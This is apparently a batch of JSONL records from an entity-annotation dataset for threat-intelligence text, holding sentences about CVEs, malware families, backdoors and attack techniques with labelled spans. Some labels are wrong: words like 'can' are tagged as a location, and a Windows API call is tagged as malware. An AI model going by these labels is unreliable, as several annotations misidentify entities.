+{"id":1355,"text":" The CVE-2021-32648 vulnerability lies within the OctoberCMS platform prior to version 1.0.472 and results in an attacker gaining access to any account via a specially crafted account password reset request.","entities":[{"id":46687,"label":"vulnerability","start_offset":5,"end_offset":19},{"id":46688,"label":"SOFTWARE","start_offset":50,"end_offset":60}],"relations":[{"id":211,"from_id":46688,"to_id":46687,"type":"has"}],"Comments":[]}
+{"id":12035,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
+{"id":9821,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
+{"id":5194,"text":" Configuration XML file CVE-2021-38427 Connext DDS, ROS 2 6.6 CWE-121: Stack-based buffer overflow CVE-2021-38433 Connext DDS, ROS 2 6.6 CVE-2021-38443 Cyclone DDS, ROS 2 6.6 CWE-228: Improper handling of syntactically invalid structure CVE-2021-38441 Cyclone DDS, ROS 2 6.6 CWE-123:","entities":[{"id":51247,"label":"vulnerability","start_offset":99,"end_offset":113},{"id":51248,"label":"vulnerability","start_offset":137,"end_offset":151},{"id":51245,"label":"attack-pattern","start_offset":71,"end_offset":98},{"id":51246,"label":"vulnerability","start_offset":24,"end_offset":38},{"id":51249,"label":"vulnerability","start_offset":237,"end_offset":251}],"relations":[],"Comments":[]}
+{"id":1596,"text":"We\u2019ve named the malware family Funtasy, based on the domain it uses for registering compromised phones to the premium SMS service.","entities":[{"id":45076,"label":"malware","start_offset":31,"end_offset":38}],"relations":[],"Comments":[]}
+{"id":4270,"text":"After some research, we found multiple Delphi backdoors that used any of the three decryption routines.","entities":[],"relations":[],"Comments":[]}
+{"id":10219,"text":"Likewise, brute force attacks on internet-facing services like email, Microsoft Autodiscover, SMB, LDAP, and SQL are so common that they may seem like background noise that can be ignored.","entities":[{"id":31210,"label":"attack-pattern","start_offset":10,"end_offset":21},{"id":31213,"label":"location","start_offset":105,"end_offset":108},{"id":31214,"label":"location","start_offset":113,"end_offset":116},{"id":31215,"label":"location","start_offset":137,"end_offset":140},{"id":31216,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
+{"id":6357,"text":"The decrypted payload is now running within the runtimebroker.exe memory space.","entities":[],"relations":[],"Comments":[]}
+{"id":1950,"text":"Organizations can develop defenses against the social engineering component these four threat actors have in common.","entities":[],"relations":[],"Comments":[]}
+{"id":10691,"text":"Attackers can also install a phishing website on the victim server to gain access to any data that passes through it.","entities":[{"id":32638,"label":"location","start_offset":10,"end_offset":13},{"id":32639,"label":"attack-pattern","start_offset":29,"end_offset":37}],"relations":[],"Comments":[]}
+{"id":1527,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":385,"text":"To learn more about the ubiquitous problem of end-of-life software, please refer to the 2022 Cortex Xpanse Attack Surface Threat Report.","entities":[{"id":46081,"label":"TIME","start_offset":88,"end_offset":92},{"id":46082,"label":"SOFTWARE","start_offset":93,"end_offset":106}],"relations":[],"Comments":[]}
+{"id":13802,"text":"Code that injects current PID into the second-stage shellcode Hooking \"ZwOpenProcess\" in ntdll.dll","entities":[{"id":48797,"label":"FILEPATH","start_offset":89,"end_offset":98},{"id":48794,"label":"malware","start_offset":71,"end_offset":84},{"id":42837,"label":"attack-pattern","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
+{"id":1497,"text":"A backdoor implant is an increasingly common mechanism for maintaining unauthorized access and control over a computer asset.","entities":[{"id":45029,"label":"attack-pattern","start_offset":71,"end_offset":90}],"relations":[],"Comments":[]}
+{"id":7081,"text":"Each backdoor has a different token that is encrypted in the registry.","entities":[],"relations":[],"Comments":[]}
+{"id":2320,"text":"With the Capstone.js configured for X86-64 and not ARM, we can also derive the target hardware is Intel-based Macs.","entities":[{"id":47394,"label":"SOFTWARE","start_offset":9,"end_offset":20}],"relations":[],"Comments":[]}
+{"id":4647,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]}
+{"id":494,"text":"This means that attackers can use this vulnerability in apps users get from places other than Google Play.","entities":[{"id":46132,"label":"SOFTWARE","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]}